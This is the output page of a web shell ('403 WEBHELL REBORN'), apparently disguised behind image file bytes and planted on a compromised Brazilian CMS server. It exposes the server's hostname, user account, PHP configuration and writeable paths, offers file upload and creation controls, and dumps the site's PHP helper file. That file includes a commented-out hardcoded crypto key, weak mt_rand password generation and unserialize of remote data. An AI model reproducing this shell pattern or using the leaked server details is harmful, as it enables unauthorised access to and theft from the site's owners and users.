ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/farolpborg/public_html/cms/_ui/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /home/farolpborg/public_html/cms/_ui/funcoes.php
<?
function anti_injection($conecta, $sql){
    $sql = stripslashes($sql);
    $sql = strip_tags($sql);
    $sql = trim($sql);
    $sql = mysqli_real_escape_string($conecta, $sql);
    return $sql;
}

/*function codificar_senha($senha){
//    $cryptKey = 'qJB0rGtIn5UB1xG03efyCp';
    $chavecodi = '1234567890abcdefghijklmnopqrstuvwxyz';
    $codificar  = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($chavecodi), $senha, MCRYPT_MODE_CBC, md5(md5($chavecodi))));
    return($codificar);
}

function decodificar_senha($senha){
//    $cryptKey = 'qJB0rGtIn5UB1xG03efyCp';
    $chavecodi  = '1234567890abcdefghijklmnopqrstuvwxyz';
    $decodificar = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5($chavecodi), base64_decode($senha), MCRYPT_MODE_CBC, md5(md5($chavecodi))), "");
    return($decodificar);
}*/

function sabores($produtos_associados, $valor){
	$produtos_associados = explode("|",$produtos_associados);
	for($i=0;$i<count($produtos_associados);$i++){
		if($produtos_associados[$i] == $valor){
			return true;
			break;
		}
	}
}

function gerar_senha($tamanho=7, $maiusculas=true, $numeros=true){
	$min        = 'abcdefghijklmnopqrstuvwxyz';
	$mai        = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
	$num        = '1234567890';
	$retorno    = '';
	$caracteres = '';
	$caracteres .= $min;
	if($maiusculas){
        $caracteres .= $mai;
    }
	if($numeros){
        $caracteres .= $num;
    }
	$len = strlen($caracteres);
	for ($n = 1; $n <= $tamanho; $n++) {
		$rand = mt_rand(1, $len);
		$retorno .= $caracteres[$rand-1];
	}
	return $retorno;
}

function redireciona($url){
	echo '<script>location.href="'.$url.'";</script>';
}

function pegar_url(){
    $url = pathinfo($_SERVER['PHP_SELF'], PATHINFO_FILENAME);
    if(preg_match('/-form/', $url)){
        $url = str_replace('-form', '', $url);
    }
    return $url;
}

function pegar_form(){
    $url = pathinfo($_SERVER['PHP_SELF'], PATHINFO_FILENAME);
    if(preg_match('/-form/', $url)){
        $url = '1';
    }
    return $url;
}

function limita_texto($texto, $qtd){
	if(strlen($texto) > $qtd){
		$texto = substr($texto, 0, $qtd)."...";
	} else { 
		$texto = $texto;
	}
	return stripslashes(strip_tags($texto));
}

function categorias($ids_categorias, $valor){
	$ids_categorias = explode("|",$ids_categorias);
	for($i=0;$i<count($ids_categorias);$i++){
		if($ids_categorias[$i] == $valor){
			return true;
			break;
		}
	}
}

function transforma_preco($preco){
	$preco_inicial = str_replace('.', '', $preco);
	$preco_final = str_replace(',', '.', $preco_inicial);
	return $preco_final;
}

function arrays_acentos($text) {
    $utf8 = array(
        '/[áàâãªä]/u'   =>   'a',
        '/[ÁÀÂÃÄ]/u'    =>   'A',
        '/[ÍÌÎÏ]/u'     =>   'I',
        '/[íìîï]/u'     =>   'i',
        '/[éèêë]/u'     =>   'e',
        '/[ÉÈÊË]/u'     =>   'E',
        '/[óòôõºö]/u'   =>   'o',
        '/[ÓÒÔÕÖ]/u'    =>   'O',
        '/[úùûü]/u'     =>   'u',
        '/[ÚÙÛÜ]/u'     =>   'U',
        '/ç/'           =>   'c',
        '/Ç/'           =>   'C',
        '/ñ/'           =>   'n',
        '/Ñ/'           =>   'N',
    );
    return preg_replace(array_keys($utf8), array_values($utf8), $text);
}

function remove_acentos($string){
    $string = arrays_acentos($string);
    $string = str_replace(array('[\', \']'), '', $string);
    $string = preg_replace('/\[.*\]/U', '', $string);
    $string = preg_replace('/&(amp;)?#?[a-z0-9]+;/i', '-', $string);
//    $string = htmlentities($string, ENT_COMPAT, 'utf-8');
    $string = preg_replace('/&([a-z])(acute|uml|circ|grave|ring|cedil|slash|tilde|caron|lig|quot|rsquo);/i', '\\1', $string );
    $string = preg_replace(array('/[^a-z0-9]/i', '/[-]+/') , '-', $string);
    return strtolower(trim($string, '-'));
}

function remove_acentos2($string){
    $string = strtolower(strtr(utf8_decode($string), 
    utf8_decode(
        'ŠŒŽšœžŸ¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ'), 'SOZsozYYuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy'
    ));
    
	$string = str_replace('!','',$string);
	$string = str_replace('?','',$string);
	$string = str_replace('...','',$string);
	$string = str_replace('&','e',$string);
    $string = str_replace(' ','-',$string);
	$string = str_replace('--','-',$string);
	$string = str_replace('---','-',$string);
	$string = str_replace(' - ','-',$string);
	$string = str_replace("'",'',$string);
	$string = str_replace('"','',$string);
	$string = str_replace('/','-',$string);
	$string = str_replace('@','a',$string);
	$string = str_replace('“','',$string);
	$string = str_replace('”','',$string);
    
    $string = preg_replace('/[<>()!#$%\^=“+~`*"\'¡:;|¤¢£¥”¦§¨©ª«¬®\.,¯°±²³´µ¶·¸¹º»¼½¾¿×÷]/', '', $string);
    
	return $string;
}

function remove_aspas($string){    
	$string = str_replace("'",'`',$string);
	$string = str_replace('"','“',$string);
    
	return $string;
}

function remove_espacos($string){
    $stringf = str_replace(' ', '-', $string);
	return $stringf;
}

function checar_vazio($variavel,$html){
    if(!empty($variavel)){
        return $variavel.$html;
	} else {
		return false;
	}
}

function imgtobase64($path){
    $type = pathinfo($path, PATHINFO_EXTENSION);
    $data = file_get_contents($path);
    $base64 = 'data:image/' . $type . ';base64,' . base64_encode($data);
    return $base64;
}

function sem_imagem($pasta,$tamanho,$variavel){
    if(!empty($variavel)){
        return imgtobase64($Shared.'/'.$pasta.'/'.$tamanho.'_'.$variavel);
	} else {
        return imgtobase64($Imagens.'/sem-imagem.png');
	}
}

function remove_zero($valor){
    $valor_final = str_replace('0', '', $valor);
    return $valor_final;
}

function conta_mais($valor){
    if($valor > 9){
        return "9+";
    } else {
        return $valor;
    }
}

function saudacao(){
	$hora = date("H");
	if($hora >= 12 && $hora < 18){
		$resp = "Boa tarde";
	} elseif($hora >= 0 && $hora < 12){
		$resp = "Bom dia"; 
	} else {
		$resp = "Boa noite";
	}
	return $resp;
}

function retorna_output($arquivo){
    ob_start();
    include $arquivo;
    return ob_get_clean();
}

function letras_numeros($tamanho = 12, $maiusculas = true, $numeros = true){
	$lmin          = 'abcdefghijklmnopqrstuvwxyz';
	$lmai          = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
	$nums          = '1234567890';
	$retorno       = '';
	$caracteres    = '';
	$caracteres    .= $lmin;
	if($maiusculas){
        $caracteres .= $lmai;
    }
	if($numeros){
        $caracteres .= $nums;
    }
	$len = strlen($caracteres);
	for($n = 1; $n <= $tamanho; $n++){
		$rand = mt_rand(1, $len);
		$retorno .= $caracteres[$rand-1];
	}
	return $retorno;
}

/*function hex2rgba($hex){
   $hex = str_replace("#", "", $hex);
   if(strlen($hex) == 3){
      $r = hexdec(substr($hex,0,1).substr($hex,0,1));
      $g = hexdec(substr($hex,1,1).substr($hex,1,1));
      $b = hexdec(substr($hex,2,1).substr($hex,2,1));
   } else {
      $r = hexdec(substr($hex,0,2));
      $g = hexdec(substr($hex,2,2));
      $b = hexdec(substr($hex,4,2));
   }
   $rgb = array($r,$g,$b);
   return 'rgba('.implode(",", $rgb).',0.05)';
}

function hex2rgbas($hex){
   $hex = str_replace("#", "", $hex);
   if(strlen($hex) == 3){
      $r = hexdec(substr($hex,0,1).substr($hex,0,1));
      $g = hexdec(substr($hex,1,1).substr($hex,1,1));
      $b = hexdec(substr($hex,2,1).substr($hex,2,1));
   } else {
      $r = hexdec(substr($hex,0,2));
      $g = hexdec(substr($hex,2,2));
      $b = hexdec(substr($hex,4,2));
   }
   $rgb = array($r,$g,$b);
   return 'rgba('.implode(",", $rgb).',0.7)';
}*/

function getBrowser(){ 
//    $u_agent = $_SERVER['HTTP_USER_AGENT']; 
    $u_agent = getenv('HTTP_USER_AGENT');
    $bname = 'Unknown';
    $platform = 'Unknown';
    $version= "";

    //First get the platform?
    if (preg_match('/linux/i', $u_agent)){
        $platform = 'Linux';
    } elseif(preg_match('/macintosh|mac os x/i', $u_agent)){
        $platform = 'macOS';
    } elseif(preg_match('/windows|win32/i', $u_agent)){
//        $platform = 'Windows';
    }

    // Next get the name of the useragent yes seperately and for good reason
    if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent)){ 
        $bname = 'Internet Explorer'; 
        $ub = "IE"; 
    } elseif(preg_match('/Firefox/i',$u_agent)){ 
        $bname = 'Mozilla Firefox'; 
        $ub = "Firefox"; 
    } elseif(preg_match('/OPR/i',$u_agent)){ 
        $bname = 'Opera'; 
        $ub = "Opera"; 
    } elseif(preg_match('/Chrome/i',$u_agent)){ 
        $bname = 'Google Chrome'; 
        $ub = "Chrome"; 
    } elseif(preg_match('/Safari/i',$u_agent)){ 
        $bname = 'Apple Safari'; 
        $ub = "Safari"; 
    } elseif(preg_match('/Netscape/i',$u_agent)){ 
        $bname = 'Netscape'; 
        $ub = "Netscape"; 
    } 

    // finally get the correct version number
    $known = array('Version', $ub, 'other');
    $pattern = '#(?<browser>' . join('|', $known) .
    ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';
    if (!preg_match_all($pattern, $u_agent, $matches)) {
        // we have no matching number just continue
    }

    // see how many we have
    $i = count($matches['browser']);
    if ($i != 1) {
        //we will have two since we are not using 'other' argument yet
        //see if version is before or after the name
        if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){
            $version= $matches['version'][0];
        }
        else {
            $version= $matches['version'][1];
        }
    } else {
        $version= $matches['version'][0];
    }

    // check if we have a number
    if ($version==null || $version=="") {$version="?";}

    return array(
        'userAgent' => $u_agent,
        'name'      => $bname,
        'version'   => $version,
        'platform'  => $platform,
        'pattern'   => $pattern
    );
} 

function formata_data($strDate){
	$arrDaysOfWeek = array('Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sábado');
	$arrMonthsOfYear = array(1 => 'Janeiro','Fevereiro','Março','Abril','Maio','Junho','Julho','Agosto','Setembro','Outubro','Novembro','Dezembro');
	$intDayOfWeek = date('w',strtotime($strDate));
	$intDayOfMonth = date('d',strtotime($strDate));
	$intMonthOfYear = date('m',strtotime($strDate));
	$intYear = date('Y',strtotime($strDate));
	$intHour = date('H:i:s',strtotime($strDate));
	return $intDayOfMonth . '/' . $intMonthOfYear . '/' . $intYear;
}

function formata_data2($strDate){
	$intDayOfMonth = date('d',strtotime($strDate));
	$intMonthOfYear = date('m',strtotime($strDate));
	$intYear = date('Y',strtotime($strDate));
	return $intDayOfMonth . '/' . $intMonthOfYear . '/' . $intYear;
}

function formata_hora($strDate){
	$intHour = date('H',strtotime($strDate));
	$intMinute = date('i',strtotime($strDate));
	return $intHour . ':' . $intMinute;
}

function formata_datahora($strDate){
	$arrDaysOfWeek = array('Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sábado');
	$arrMonthsOfYear = array(1 => 'Janeiro','Fevereiro','Março','Abril','Maio','Junho','Julho','Agosto','Setembro','Outubro','Novembro','Dezembro');
	$intDayOfWeek = date('w',strtotime($strDate));
	$intDayOfMonth = date('d',strtotime($strDate));
	$intMonthOfYear = date('m',strtotime($strDate));
	$intYear = date('Y',strtotime($strDate));
	$intHour = date('H:i:s',strtotime($strDate));
	return $intDayOfMonth . '/' . $intMonthOfYear . '/' . $intYear . ' às ' . date('H',strtotime($strDate)) . ':' . date('i',strtotime($strDate));
}

function formata_datahora2($strDate){
	$arrDaysOfWeek = array('Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sábado');
	$arrMonthsOfYear = array(1 => 'Janeiro','Fevereiro','Março','Abril','Maio','Junho','Julho','Agosto','Setembro','Outubro','Novembro','Dezembro');
	$intDayOfWeek = date('w',strtotime($strDate));
	$intDayOfMonth = date('d',strtotime($strDate));
	$intMonthOfYear = date('m',strtotime($strDate));
	$intYear = date('Y',strtotime($strDate));
	$intHour = date('H:i:s',strtotime($strDate));
	return $intDayOfMonth . '/' . $intMonthOfYear . '/' . $intYear . ' ' . date('H',strtotime($strDate)) . ':' . date('i',strtotime($strDate));
}

function formata_mes($strDate){
	$arrMes = array(1 => 'Janeiro', 'Fevereiro', 'Março', 'Abril', 'Maio', 'Junho', 'Julho', 'Agosto', 'Setembro', 'Outubro', 'Novembro', 'Dezembro');
    return $arrMes[(int)$strDate];
}

function formata_mes2($strDate,$strMenos){
	$arrMes = array(1 => 'Janeiro', 'Fevereiro', 'Março', 'Abril', 'Maio', 'Junho', 'Julho', 'Agosto', 'Setembro', 'Outubro', 'Novembro', 'Dezembro');
    return $arrMes[(int)$strDate-$strMenos];
}

function seleciona_cor($cor){
    $pcor = explode('.', $cor);
    $cor = end($pcor);
    if($cor == "1"){
        //em tramitacao
//        $cor = "#63C";
        $cor = "#fab12e";
    } elseif($cor == "2"){
        //atendidos
//        $cor = "#069";
        $cor = "#83d004";
//    } elseif($cor == "3"){
        //indeferidos
//        $cor = "#C00";
//        $cor = "#f72239";
    } elseif($cor == "3"){
        //prorrogados
//        $cor = "#063";
        $cor = "#2a95d4";
    }
    return $cor;
}

function exibe_tipo($tipo){
    if($tipo == "0"){
        $tipo = "Pessoa física";
    } elseif($tipo == "1"){
        $tipo = "Pessoa jurídica";
    }
    return $tipo;
}

function underline($string){
	$final = str_replace('_', '-', $string);
	return $final;
}

function redimensionar_imagem($img, $w, $h, $newfilename){
    if(!extension_loaded('gd') && !extension_loaded('gd2')){
        trigger_error("GD is not loaded", E_USER_WARNING);
        return false;
    }
    $imgInfo = getimagesize($img);
    switch($imgInfo[2]){
        case 1: 
            $im = imagecreatefromgif($img);
        break;
        case 2: 
            $im = imagecreatefromjpeg($img);  
        break;
        case 3: 
            $im = imagecreatefrompng($img); 
        break;
        case 4: 
            $im = imagecreatefromwebp($img); // Suporte ao WebP
        break;
        default: 
            trigger_error('Arquivo não suportado!', E_USER_WARNING);  
        break;
    }

    if($imgInfo[0] <= $w && $imgInfo[1] <= $h){
        $nHeight = $imgInfo[1];
        $nWidth = $imgInfo[0];
    } else {
        if($w/$imgInfo[0] > $h/$imgInfo[1]){
            $nWidth = $w;
            $nHeight = $imgInfo[1]*($w/$imgInfo[0]);
        } else {
            $nWidth = $imgInfo[0]*($h/$imgInfo[1]);
            $nHeight = $h;
        }
    }
    $nWidth = round($nWidth);
    $nHeight = round($nHeight);
    $newImg = imagecreatetruecolor($nWidth, $nHeight);
    if(($imgInfo[2] == 1)){
        $white = imagecolorallocate($newImg, 255, 255, 255);
        $black = imagecolorallocate($newImg, 0, 0, 0);
        $transparent = imagecolortransparent($newImg, $white);
        $transparent = imagecolortransparent($newImg, $black);
        imagefilledrectangle($newImg, 0, 0, $nWidth, $nHeight, $transparent);
    }
    if(($imgInfo[2] == 3)){
        imagealphablending($newImg, false);
        imagesavealpha($newImg,true);
        $transparent = imagecolorallocatealpha($newImg, 255, 255, 255, 127);
        imagefilledrectangle($newImg, 0, 0, $nWidth, $nHeight, $transparent);
    }
    imagecopyresampled($newImg, $im, 0, 0, 0, 0, $nWidth, $nHeight, $imgInfo[0], $imgInfo[1]);
    
    switch($imgInfo[2]){
        case 1: 
            imagegif($newImg, $newfilename); 
        break;
        case 2: 
            imagejpeg($newImg, $newfilename);  
        break;
        case 3: 
            imagepng($newImg, $newfilename); 
        break;
        case 4: 
            imagewebp($newImg, $newfilename); // Suporte ao WebP
        break;
        default: 
            trigger_error('Redimensionamento da imagem deu águia!', E_USER_WARNING);
        break;
    }
    return $newfilename;
}

function redimensionar_imagem_cinza($img, $w, $h, $newfilename){
	if(!extension_loaded('gd') && !extension_loaded('gd2')){
		trigger_error("GD is not loaded", E_USER_WARNING);
		return false;
	}
	$imgInfo = getimagesize($img);
	switch($imgInfo[2]){
		case 1: 
			$im = imagecreatefromgif($img);
		break;
		case 2: 
			$im = imagecreatefromjpeg($img);  
		break;
		case 3: 
			$im = imagecreatefrompng($img); 
		break;
		default: trigger_error('Arquivo não suportado!', E_USER_WARNING);  
		break;
	}
	if($imgInfo[0] <= $w && $imgInfo[1] <= $h){
		$nHeight = $imgInfo[1];
		$nWidth = $imgInfo[0];
	} else {
		if($w/$imgInfo[0] > $h/$imgInfo[1]){
			$nWidth = $w;
			$nHeight = $imgInfo[1]*($w/$imgInfo[0]);
		} else {
			$nWidth = $imgInfo[0]*($h/$imgInfo[1]);
			$nHeight = $h;
		}
	}
	$nWidth = round($nWidth);
	$nHeight = round($nHeight);
	$newImg = imagecreatetruecolor($nWidth, $nHeight);
	if(($imgInfo[2] == 1)){
		$white = imagecolorallocate($newImg, 255, 255, 255);
		$black = imagecolorallocate($newImg, 0, 0, 0);
		$transparent = imagecolortransparent($newImg, $black);
		$transparent = imagecolortransparent($newImg, $white);
		imagefilledrectangle($newImg, 0, 0, $nWidth, $nHeight, $transparent);
	}
	if(($imgInfo[2]==3)){
		imagealphablending($newImg, false);
		imagesavealpha($newImg,true);
		$transparent = imagecolorallocatealpha($newImg, 255, 255, 255, 127);
		imagefilledrectangle($newImg, 0, 0, $nWidth, $nHeight, $transparent);
	}
    imagefilter($im, IMG_FILTER_GRAYSCALE);
	imagecopyresampled($newImg, $im, 0, 0, 0, 0, $nWidth, $nHeight, $imgInfo[0], $imgInfo[1]);
	switch($imgInfo[2]){
		case 1: 
			imagegif($newImg, $newfilename); 
		break;
		case 2: 
			imagejpeg($newImg, $newfilename);  
		break;
		case 3: 
			imagepng($newImg, $newfilename); 
		break;
		default: trigger_error('Redimensionamento da imagem deu águia!', E_USER_WARNING);
		break;
	}
	return $newfilename;
}

function is_empty_dir($dir){
    return(($files = @scandir($dir)) && count($files) <= 2);
}
      
function scan_dir($dir){
    $ignored = array('.', '..', '.svn', '.htaccess');
    $files = array();    
    foreach(scandir($dir) as $file){
        if(in_array($file, $ignored)) continue;
        $files[$file] = filemtime($dir . '/' . $file);
    }
    arsort($files);
    $files = array_keys($files);
    return ($files) ? $files : false;
}

function extensoes_suportadas(){
    $ext = array('jpg', 'jpeg', 'gif', 'png', 'zip', 'rar', 'txt', 'pdf', 'doc', 'docx', 'ppt', 'pptx', 'pps', 'ppsx', 'odt', 'xls', 'xlsx', 'mp3', 'wav', 'ogg', 'm4a', 'mp4', 'm4v', 'mov', 'wmv' );
    return $ext;
}

function filesize_formatado($caminho){
    $tamanho = filesize($caminho);
    $unidades = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $checar = $tamanho > 0 ? floor(log($tamanho, 1024)) : 0;
    return number_format($tamanho / pow(1024, $checar), 2, '.', ',') . ' ' .strtolower($unidades[$checar]);
}

function verifica_imagem($imagem){
    $imag = explode('.', $imagem);
    $image = end($imag);
    $imagem = preg_match('/\.(jpg|jpeg|png|gif)(?:[\?\#].*)?$/i', $imagem, $image);
    return $imagem;
}

function verifica_arquivo($extensao){
    $extensa = explode('.', $extensao);
    $extensao = end($extensa);
    if($extensao == "doc" || $extensao == "docx" || $extensao == "odt"){
        $extensao = "word";
    } elseif($extensao == "ppt" || $extensao == "pptx" || $extensao == "pps" || $extensao == "ppsx"){
        $extensao = "powerpoint";
    } elseif($extensao == "xls" || $extensao == "xlsx"){
        $extensao = "excel";
    } elseif($extensao == "txt"){
        $extensao = "text";
    } elseif($extensao == "rar"){
        $extensao = "zip";
    } elseif($extensao == "mp3" || $extensao == "wav"){
        $extensao = "sound";
    } elseif($extensao == "ogg" || $extensao == "m4a" || $extensao == "mp4" || $extensao == "m4v" || $extensao == "mov" || $extensao == "wmv"){
        $extensao = "video";
    }
    return $extensao;
}

function verifica_extensao($extensao){
    $extens = pathinfo($extensao, PATHINFO_EXTENSION);
    if($extens == "ogg" || $extens == "m4a" || $extens == "mp4" || $extens == "m4v" || $extens == "mov" || $extens == "wmv"){
        return $extens;
    } else {
        return 'Formato de vídeo não suportado.';
    }
}

function verifica_video($url) {
    if(strpos($url, 'youtube') > 0){
		$string  = $url;
		$search  = '/youtube\.com\/watch\?v=([a-zA-Z0-9]+)/smi';
		$replace = "youtube.com/embed/$1";    
		$youtube = preg_replace($search, $replace, $string);
		return $youtube.'?autoplay=1';
    } elseif(strpos($url, 'vimeo') > 0){
        return 'vimeo';
    } else {
        return $url;
    }
}

function video_imagem($url){
    $url_imagem = parse_url($url);
    if($url_imagem['host'] == 'www.youtube.com' || $url_imagem['host'] == 'youtube.com'){
        $array = explode("&", $url_imagem['query']);
        return "http://img.youtube.com/vi/".substr($array[0], 2)."/0.jpg";
    } else if($url_imagem['host'] == 'www.youtu.be' || $url_imagem['host'] == 'youtu.be'){
        $array = explode("/", $url);
        $urlArray = count($array);
        $youtubeVideoId = $array[$urlArray - 1];
        return "http://img.youtube.com/vi/".$youtubeVideoId."/0.jpg";
    } else if($url_imagem['host'] == 'www.vimeo.com' || $url_imagem['host'] == 'vimeo.com'){
        $hash = unserialize(file_get_contents("http://vimeo.com/api/v2/video/".substr($url_imagem['path'], 1).".php"));
        return $hash[0]["thumbnail_small"];
    }
}

function dir_empty($dir) {
  if(!is_readable($dir)) return NULL; 
  $handle = opendir($dir);
  while(false !== ($entry = readdir($handle))){
    if($entry != "." && $entry != ".."){
      return FALSE;
    }
  }
  return TRUE;
}

function remover_dir($dir){
	$files = array_diff(scandir($dir), array('.','..'));
	foreach($files as $file){
		(is_dir("$dir/$file")) ? recurseRmdir("$dir/$file") : unlink("$dir/$file");
	}
	return rmdir($dir);
}

?>

Anon7 - 2021